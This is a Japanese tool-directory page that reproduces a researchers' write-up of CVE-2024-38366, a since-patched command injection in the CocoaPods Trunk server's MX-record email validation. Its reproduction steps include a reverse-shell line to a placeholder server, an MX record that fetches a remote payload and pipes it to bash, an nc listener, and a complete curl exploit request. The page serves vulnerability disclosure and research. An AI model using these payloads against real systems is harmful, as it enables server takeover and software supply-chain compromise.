Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CocoaPods-RCE_CVE-2024-38366 — CocoaPods RCE脆弱性 CVE-2024-38366 | Kitploit
ツール/GitHubGitHub/reefspek/cocoapods-rce_cve-2024-38366
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールサプライチェーンセキュリティリモートアクセスツールペイロード開発
GitHub
reefspek/cocoapods-rce_cve-2024-38366

CocoaPods-RCE_CVE-2024-38366

CocoaPods RCE脆弱性 CVE-2024-38366

リポジトリを見る
142年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CocoaPods-RCE

このリポジトリには、CocoaPods パッケージマネージャーの調査と分析の過程で発見された RCE 脆弱性に関する、研究プロセスと考察のより詳細な内容が含まれています。

研究発表のブログ記事はこちらで読めます: https://www.evasec.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods

研究の背景

CocoaPods Trunk Server は、Apple エコシステム(特に iOS および macOS 開発)で使用される CocoaPods、重要なライブラリ、フレームワークの集中リポジトリおよび配布プラットフォームとして機能します。その主な目的は、これらのオープンソースリソースのシームレスな共有と管理を促進することです。

CocoaPods Trunk Server への開発者登録プロセスは、プラットフォームのセキュリティを確保するために以下の手順で構成されています。

  • 開発者はまず、メールアドレス、名前、アカウントの説明を提供します。
  • サーバーはメールアドレスの一意性を確認し、RFC822 標準(正規表現を使用)に従った正しい形式かどうかをチェックします。
  • メールアドレスドメインの Mail Exchanger(MX)レコードを調べて、メールアドレスの有効性を確認します。
  • すべて問題なければ開発者のアカウントが作成され、Trunk サーバーにアクセスして所有する CocoaPod パッケージを管理できるようになります。

テストされたバージョン

研究当時、最新の trunk.cocoapods.org リリース(master ブランチ)が本番環境でテストされ、検証されました。 この脆弱性はその後パッチが適用され、現在は悪用できません。

根本原因

脆弱性の根本原因は、メールアドレスドメインの検証ステップ(開発者登録プロセス中)の不十分な検証と、安全でないコマンド実行にあります。具体的には、攻撃者は入力を操作してドメインの Mail Exchanger(MX)レコード検証を回避し、Trunk サーバー上で任意の OS コマンドを注入して実行できるようにします。
これはプラットフォームのセキュリティに対する深刻な脅威であり、許可されていない個人がサーバーの整合性や保存データの機密性を侵害し、運用を妨害する可能性があります。

コードフロー

APP/CONTROLLERS/APP_CONTROLLER.RB

App Controller ファイルは、SessionsContoller を含む Trunk サーバーの API エンドポイントを定義し、/api/v1/sessions パスを介して提供します。

 


APP/CONTROLLERS/API/SESSIONS_CONTROLLER.RB

新しいセッションを生成するために、Session Controller ファイルは HTTP POST API エンドポイント /api/v1/sessions を提供します。

このエンドポイントは、ユーザーが提供した登録詳細("email"、"name"、"description" パラメータ)を処理します。その後、Owner.find_or_initialize_by_email_and_name メソッドを呼び出します。

この関数呼び出しには、"email" と "name" パラメータの値が含まれます。

 
APP/MODELS/OWNER.RB

Owner Model ファイルは find_or_initialize_by_email_and_name メソッドを定義しており、提供されたメールアドレスが存在するかどうかをチェックします。存在しない場合は、上記のパラメータを使用して新しい Owner オブジェクトを作成します。

オブジェクトが作成され、データベースに保存される直前に、Sequel フレームワークが validate メソッドを実行します。このメソッドには、RFC-822 パッケージにある複数のバリデーションが含まれています。

私たちは、RFC-822 パッケージを利用する validates_mx_record メソッドの実行に焦点を当てました。

 
RFC-822/LIB/RFC822.RB

このライブラリは mx_records メソッドを実装し、提供されたドメインが有効かどうかを検証します。さらに、host コマンドを使用して MX レコードの応答性を検証します。

このメソッドはまず、メールアドレス全体を定義されたメール正規表現パターンと比較し、提供されたメールがパターンに一致するかどうかをチェックします。パターンが一致しない場合、メソッドは空を返し、host コマンドによるアクティブチェックに進みません。

次に mx_records メソッドは raw_mx_records メソッドを呼び出し、email 値を操作します(最後の '@' 以降のドメイン部分のみを取得し、そのドメインをパラメータ値として host_mx メソッドを呼び出します)。

host_mx メソッドは任意の OS コマンドを実行し、ユーザーが提供したメールのドメインと連結します。 最終的に実行されるコマンドは次のとおりです。
/usr/bin/env host -t MX <ドメイン>

悪用方法

障壁

脆弱性の悪用を開始するために、HTTP POST リクエストを /api/v1/sessions API エンドポイントに送信しました。リクエストボディには、操作された入力を含めました。

主な目的は、MX レコード検証プロセスをトリガーすることでした。これにより、最終的に悪意のあるユーザー入力が評価・実行され、trunk サーバー上で OS コマンドが実行されることになります。

目標を達成し、完全にインタラクティブなリバースシェルを確立するには、いくつかの課題を克服する必要がありました。

  • 小文字変換: 最初の課題は、ユーザーが提供したメールアドレスが owner.rb/normalize_email メソッドによって小文字に変換されることです。その結果、reef<span>@evasec.io|curl{IFS}evasec.io のような単純なペイロードは効果がなく、サーバーは小文字で処理します。
    注: IFS は ifs に変換され、セパレータとして使用されません。
  • 正規表現パターンの検証: RFC822 ライブラリ関数には、定義された正規表現パターンを使用した検証が含まれています。この検証は大きな障害となりました。例えば、reef<span>@evasec.io|{curl,evasec.io} のようなペイロードは、ライブラリによって削除される以下の文字が含まれているため機能しません。
    • " " (スペース)
    • "
    • ()
    • .
    • ,
    • <>
    • @
    • []

突破口

ミッションを完了するには、直面した壁を乗り越える必要がありました。
私たちは、/usr/bin/env host -t MX <ドメイン> コマンドが制御可能な出力を提供し、これらの課題を回避できることを発見しました。
その出力を bash コマンドにパイプすることで、コード実行の機会を作り出すことができます。
例:

/usr/bin/env host -t MX <ドメイン> | bash

AWS の Route53 を介して管理している自ドメインの MX レコードを操作しました。 MX レコードには、以下の 有効な 文字列が含まれています。

10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com


ターゲット: 細工されたペイロードは、host コマンドによるドメイン検証中に実行されるように設定されました。

高レベルな悪用の説明

リモートコード実行を開始するために、POST /api/v1/sessions API エンドポイントと以下のペイロードを呼び出しました。
anything<span>@owned.domain|bash
ここで "owned.domain" は、上記のように悪意を持って細工された MX レコードを表します。

再現手順

  1. ペイロードサーバーの準備:Trunk サーバー上で実行するコードを含む payload.txt ファイルを提供するための Web サーバーをセットアップします。

    • 例:
      sh -i >& /dev/tcp/SERVER/1337 0>&1
  2. 悪意のある MX レコードの作成:ステップ 1 で準備したペイロードを取得して実行するように設計されたペイロードを含む新しい MX レコードを生成します。

    • 例:
      10 a||{curl, -s,http://WEB_SERVER/payload.txt}|bash||.com
  3. リバースシェルリスナーのセットアップ:netcat(nc)などのリバースシェルリスナーを、公開アクセス可能なポートで起動します。

    • 例:
      nc -lvp 1337
  4. リバースシェルの実行:リバースシェルの実行をトリガーする HTTP リクエストを送信します。これは curl コマンドを使用して行えます。

    • curl -X $'POST' -H $'Host: trunk.cocoapods.org' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: CocoaPods/1.12.1' --data-binary $'{\"email\":\"name@MX_RECORD_DOMAIN|bash\",\"name\":\"Your Name\",\"description\":null}' $'https://trunk.cocoapods.org/api/v1/sessions'

 

実行

完全な悪用動画

exploit

 

悪用成功の影響

今回の研究で、CocoaPods Trunk Server 内に、任意のオペレーティングシステムコマンドの実行(完全にインタラクティブなリモートコード実行)を可能にする重大なセキュリティ脆弱性を特定しました。

許可されていない脅威行為者がサーバーを侵害した場合、広く使用されているライブラリに悪意のあるコードを混入させる可能性があります。これにより、侵害されたこれらの CocoaPods に依存する無数の iOS および macOS アプリケーションに深刻なセキュリティ脆弱性が生じる可能性があります。

さらに、脅威行為者はポッド仕様を操作したり、正当なライブラリの配布を妨害したり、CocoaPods エコシステム内で広範囲にわたる混乱を引き起こす可能性があります。

ツールをダウンロード